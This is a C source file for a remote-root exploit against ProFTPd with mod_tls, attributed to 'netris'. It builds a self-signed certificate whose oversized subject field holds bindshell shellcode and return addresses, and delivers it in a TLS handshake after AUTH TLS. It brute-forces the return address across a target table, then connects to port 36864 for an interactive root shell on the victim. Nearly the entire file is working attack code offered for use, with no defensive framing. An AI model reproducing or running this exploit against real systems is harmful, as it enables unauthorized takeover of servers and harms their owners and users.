/* 
 *  *** Anti-modTLS-0day version 2 ***
 *
 * ProFTPd *.*.* + mod_tls remote-root-0day-exploit
 * 
 * main advantages of this exploit:
 *  1) No patched mod_tls versions yet
 *  2) This is a preauthentication bug
 *  3) Bruteforcing option (eheheheee)
 * main disadvantages:
 *  2) Target mechanism isn't very well, cause exploitation
 *     depends on library mapped address, so, there are no
 *     strict categories.
 *  1) Dunno, if there are a lot of proftpd+mod_tls boxes
 *     outta there.
 *
 * Bug found by: netris
 * exploit written by: netris 
 *
 * -- ADD --
 *
 * Hi there. Here goes the original exploit written in 2004 
 * (not in 2006 like some of you would guess), and found by
 * netris, not Evgeny Legerov. Big middle fingers to those
 * who fight for commercial security shit system. 
 * Greets to arpunk, pandzilla, c0dak, mcb, c0de, ^sq, disque,
 * gamma, djang0 and many others of ex #phenoelit channel.
 * 
 * netris.
 *
 * mailto: netris_spam@ok.kz
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <getopt.h>
#include <netdb.h>
#include <openssl/ssl.h>
#include <openssl/ssl3.h>
#include <openssl/x509.h>
#include <openssl/err.h>

#define CODE_SZ 2322
#define DPORT 21

#define BSET(u,a,b,c,d) u = a*0x1000000;\
      u+= b*0x0010000;\
      u+= c*0x0000100;\
      u+= d*0x0000001;

#define checkz(a) int i;\
      for(i=0;i<4;i++){\
        if(a[i]<0x20)a[i]=0x20;\
      if(a[i]>0x7f)a[i]=0x7f;\
      }

int ch,timeout=2,br=0;
 struct ADDR{
   char *os;
        unsigned long call_reg; /* eax or edx */
};

/*bindshell, port 36864, offset 265, buf address is edx */
char shellcode[]="h22ImX522ImHRWPPSRPPaVUWWTBfRJfhdEfXf5YDfPDfh0PDTY09RUajWY"
     "0Loa0toafhoXfYf1LocjxY0Loe0Toe0ToffhH0fYf1Loh0tojjFY0Lok0t"
     "ok0tolfht9fXf1Don0TopjyX0Dor0TosjKX0Dou0Tov0ToxjIX0Doy0Toy"
     "G0tozGGfhsCfYf1LozGG0tozGGjZY0LozGGjkX0Doz0TozGGjGX0Doz0To"
     "zG0tozGGjAY0LozGf1tozGGG0tozGGjpY0LozG0tozGGjpY0LozG0TozGG"
     "jfX0DozG0tozGGjRX0DozG0tozGG0TozGj8Y0Loz0tozG0TozGfhlGfYf1"
     "LozGGGG0TozGG0TozGj3Y0Loz0tozG0tozGGjuX0DozG0TozGGjyY0LozG"
     "0tozGGG0tozGj4Y0Loz0tozG0TozGjqX0Doz0tozG0tozGfhyCfXf1DozG"
     "Gf1tozGGjFY0Loz0TozG0TozGjQY0LozGG0tozGj9Y0Loz0TozG0TozGjY"
     "X0DozGG0tozGjFX0Doz0TozG0tozGGjnY0LozG0TozGGjTY0LozG0tozGj"
     "gY0Loz0TozG0tozGGj4Y0LozG0TozGj9X0DozG0tozGfhKofYf1Lozf1to"
     "zGG0tozGfha5fXf1Dozf1TozGGj4X0Doz0TozGjYY0LozGGGGjHY0LozCn"
     "1qGvFXpvzvFxyvFqrNCOf26C9FcSwFR1T1jvFYOofvFfrNdvNjrNZOf2Gv"
     "2KCCOf2LvVyvViOfC2KyMOFj629OnA2FOfA29wVivvXxkrK8O224xra54v"
     "bingsh";

X509 *Create_Death_Certificate(EVP_PKEY **pkey);
void set_subject(X509 *cert, X509_NAME *subject, X509_NAME *issuer);
void DUF_add_entry(X509_NAME **subiss, char *field, 
      unsigned char *bytes, int len);
void setaddr(char *hname, struct sockaddr_in *sap, int port);
void senddata(int sock, char *data);                            
int shell(char *host,int port, struct sockaddr_in ad);
void help(char *prname);

SSL_CTX *ctx;
SSL *conn;
int sk;

void handler(){
  if(!conn->in_handshake){
    SSL_shutdown(conn);
    SSL_free(conn);
  }
  close(sk);
  exit(0);
}

void step(char *str, int err){
  static i;
  if(br)
    return;
  switch(err){
    case 0:
      fprintf(stderr,"[%03d] %s\n",i+1,str);
      i++;break;
    case -1:
      fprintf(stderr,"[!!!] %s\n",str);
      break;
    case 1:
      fprintf(stderr,"[!!!] %s\n\t",str);
      ERR_print_errors_fp(stderr);
  }
}
/* Add targets here */
struct ADDR vict[]={
  {"Bruteforce mode",0x40202020},
  {"Gentoo Linux 1.4 3.2.3-r1 - openssl-0.9.7d",0x40235727},
  {"Gentoo Linux 1.4.3.2.3-r1 - default install",0x40283a43},  
  {0}
};

int main(int argc, char *argv[])
{
  int port=DPORT,aa[4];
  char *host,*sport,opt;
  unsigned long saddr=0;
  struct sockaddr_in a;

  EVP_PKEY *key;
  X509 *cert=NULL;

  fprintf(stderr,"--< rebel-proftpd-modtls-0day\n");
  fprintf(stderr,"--< netris @ duffsrebelz\n\n");
  
  while((opt=getopt(argc,(void*)argv,"+b:t:x"))!=-1)
    switch(opt){
      case 't':timeout=atoi(optarg);break;
      case 'b':sscanf(optarg,"0x%x",&saddr);break;
      case 'x':ch=1;
        X509_print_fp(stderr,
          Create_Death_Certificate(&key));
        exit(0);
      default:help(argv[0]);
    }
  if(argc-optind!=2)
    help(argv[0]);
  
  ch=atoi(argv[optind]);
  
  if(host=strchr(argv[optind+1],':')){
    if(!isdigit(*(host+1))){
      step("weird arguments\n",-1);
      exit(-1);
    }
    host = strtok(argv[optind+1],":");
    sport = strtok(NULL,":");
    port=atoi(sport);
  }else
    host=argv[optind+1];
  
  (ch==0)?(br=1):(br=0);
  
  SSL_library_init();  
  if(br)
    fprintf(stderr,
      "--< Ready, Steady, GO!!! >:O\n\n");
  setaddr(host,&a,port);

  if(!saddr)saddr=vict[0].call_reg;
  
  aa[3] = (saddr >>  0) & 0xff;
  aa[2] = (saddr >>  8) & 0xff;
  aa[1] = (saddr >> 16) & 0xff;
  aa[0] = (saddr >> 24) & 0xff;
  
  checkz(aa);
  
  for(;;){
  for(;aa[1]<0x7e;aa[1]++){
    for(;aa[2]<0x7e;aa[2]++){
      for(;aa[3]<0x7e;aa[3]++){
  BSET(vict[0].call_reg,aa[0],aa[1],aa[2],aa[3]);
  fprintf(stderr,"[0x%08x]\n",vict[0].call_reg);
  sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    
  
  cert = Create_Death_Certificate(&key);
  a.sin_port=htons(port);
  a.sin_family=AF_INET;
  if((connect(sk,(struct sockaddr*)&a,sizeof(a)))<0){
    fprintf(stderr,"[!!!] couldn't connect\n\n");
    close(sk);
    exit(-1);
  }
  
  senddata(sk,"AUTH TLS\n");
  
  ctx  = SSL_CTX_new(SSLv23_client_method());
  SSL_CTX_use_certificate(ctx, cert);
  SSL_CTX_use_PrivateKey(ctx, key);

  conn = SSL_new(ctx);
  SSL_set_connect_state(conn);
  SSL_set_fd(conn,sk);
  signal(SIGINT,handler);
  step("establishing SSL connection",0);
#ifdef DEBUG
  getc(stdin);
#endif
  if(SSL_connect(conn)<0){
    fprintf(stderr,"[!!!] No SSL enabled on %s\n\n",host);
    exit(-1);
  }
  step("shell spawn...",0);
  if(shell(host,36864,a))
    exit(0);
  
  step("done, see ya later\n",0);
  X509_free(cert);
  if(!conn->in_handshake){
    SSL_shutdown(conn);
    SSL_free(conn);
  }            
  }aa[3]=0x20;
  }aa[2]=0x20;
  }aa[1]=0x20;
  }
  return 0;
}

X509 *Create_Death_Certificate(EVP_PKEY **key)
{
  FILE *fd;
  time_t t;

  X509_NAME *subject=NULL;
  X509_NAME *issuer=NULL;
  ASN1_TIME *tbefore,*tafter;
  ASN1_INTEGER *serial;
  X509 *dz; /* certificate */
  RSA *rsa;
  EVP_PKEY *pk;
  
  step("preparing dirty certificate",0);

    dz = X509_new();
  
  /* private-key generation */
    pk = EVP_PKEY_new();
    rsa = RSA_generate_key(1024, RSA_F4, NULL,NULL); 
    EVP_PKEY_assign_RSA(pk,rsa);
  X509_set_pubkey(dz,pk);
  
  /* version/serial */
    X509_set_version(dz,0x2); /* version: 3 */
  serial = ASN1_INTEGER_new();
    ASN1_INTEGER_set(serial,0x01);
  X509_set_serialNumber(dz, serial); 
    
  /* not-before/notafter validity */
  tbefore = ASN1_TIME_new();
  tafter = ASN1_TIME_new();
  ASN1_TIME_set(tbefore,t=0);
  ASN1_TIME_set(tafter,t=60*60*24*366*65);
    X509_set_notBefore(dz, tbefore);
    X509_set_notAfter(dz, tafter);   
  
  /* DN Subject/Issuer */
  set_subject(dz,subject,issuer);

  /* let's make it self signed */
  X509_sign(dz, pk, EVP_md5());
  
  *key=pk;
  X509_NAME_free(subject);
  ASN1_INTEGER_free(serial);
  ASN1_TIME_free(tbefore);
  ASN1_TIME_free(tafter);
  close(fd);
  return dz;
}

/* <soletario> yeah man */ 
void set_subject(X509 *cert, X509_NAME *subject, X509_NAME *issuer)
{
  int i;
  char dc0de[6000];
  
  memset(dc0de,0,sizeof(dc0de));
    
  for(i=0; i<5000-1; i++)
    dc0de[i]='E';
  for(i=258; i<258+sizeof(shellcode)-1; i++)
    dc0de[i]=shellcode[i-258];
  i+=1;
  for(; i<3200; i+=4){ /* uhh, rude */
    dc0de[i+0]=(vict[ch].call_reg >> 0) & 0xff;
    dc0de[i+1]=(vict[ch].call_reg >> 8) & 0xff;
    dc0de[i+2]=(vict[ch].call_reg >>16) & 0xff;
    dc0de[i+3]=(vict[ch].call_reg >>24) & 0xff;
  }
  subject = X509_get_subject_name(cert);
  issuer = X509_get_issuer_name(cert);  
  
  DUF_add_entry(&subject,"host",dc0de,-1);

  X509_set_subject_name(cert,subject);
  X509_NAME_delete_entry(issuer,0);
  X509_set_issuer_name(cert,issuer);
}

/* This function can insert large fields */
void DUF_add_entry(X509_NAME **subiss, char *field, 
      unsigned char *bytes, int len)
{
  ASN1_OBJECT *obj;
  X509_NAME_ENTRY *ne;
  
  ne=X509_NAME_ENTRY_new();  
  obj=OBJ_txt2obj(field,0);
  X509_NAME_ENTRY_set_object(ne,obj);
  ASN1_mbstring_ncopy(&ne->value,bytes,len,MBSTRING_ASC,0,0,0);  
  X509_NAME_add_entry(*subiss,ne,-1,0);
}

void setaddr(char *hname, struct sockaddr_in *sap, int port)
{
  struct hostent *hp;

  memset(sap,0,sizeof(*sap));
  sap->sin_family = AF_INET;

  if(!inet_aton(hname,&sap->sin_addr)){
    hp = gethostbyname(hname);
    if(hp == NULL){
      step("unkown host",-1);
      return;
    }
    sap->sin_addr = *(struct in_addr *)hp->h_addr;
  }else
    sap->sin_addr.s_addr = inet_addr(hname);
  
  sap->sin_port = htons(port);
}

int shell(char *host, int port, struct sockaddr_in ad)
{
  u_char buf[4096];
      fd_set fds;
  int sock;
  struct sockaddr_in a=ad;
  
  sock = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
  
  a.sin_family = AF_INET;
  a.sin_port = htons(port);

  if((connect(sock,(struct sockaddr*)&a,sizeof(a)))<0){
       step("couldn't connect\n",-1);
       close(sock);
       if(!br)
         handler();
       else return 0;
  }
  signal(SIGINT,SIG_IGN);
  fprintf(stderr,"\n--< %s just has been 0wned\n\n",host);  
        for (;;){
    FD_ZERO(&fds);
    FD_SET(0, &fds);
    FD_SET(sock, &fds);
    fprintf(stderr,"\033[31m[duffshell]#\033[0m ");
    select(255, &fds, NULL, NULL, NULL);
    memset(buf, 0, sizeof(buf));
    
    if (FD_ISSET(sock, &fds)){
      read(sock, buf, sizeof(buf));
      fprintf(stderr, "%s", buf);
    }
    if (FD_ISSET(0, &fds)){
      read(0, buf, sizeof(buf));
      if(strstr(buf,"exit")){
        fprintf(stderr,"\n");
        return 1;
      }
      write(sock, buf, strlen(buf));        
    }    
  }
}

void senddata(int sock, char *data)
{
  int i,c=0,j;
  char au[4];
  fd_set ff;
  struct timeval tm;
  int r;
  
  FD_ZERO(&ff);
  FD_SET(sock,&ff);
  tm.tv_sec = timeout;
  tm.tv_usec = 30;
  memset(au,0,4);
  
  if(data){
    j=0;
      send(sock,data,strlen(data),0);
    for(;;){
      if(!(r=select(sock+1,&ff,NULL,NULL,&tm)))
        break;
      if((i=read(sock,&c,1))<=0)
        break;
    }
  }
}

void help(char *prname)
{
  int i=0;
  fprintf(stderr,"usage: %s target hostname:[port]\n",prname);
  fprintf(stderr,"   -t <delay>     :delay of data send/recv\n");
  fprintf(stderr,"   -b <addr>      :bruteforce starting address\n");
  fprintf(stderr,"   -x             :just the payload certificate and exit\n");
  fprintf(stderr,"current targets:\n");
  for(i=0;vict[i].call_reg;i++)
    fprintf(stderr,"   %d) %s ( %08x )\n",i,
               vict[i].os,
               vict[i].call_reg);
  putc('\n',stderr);
  exit(-1);
}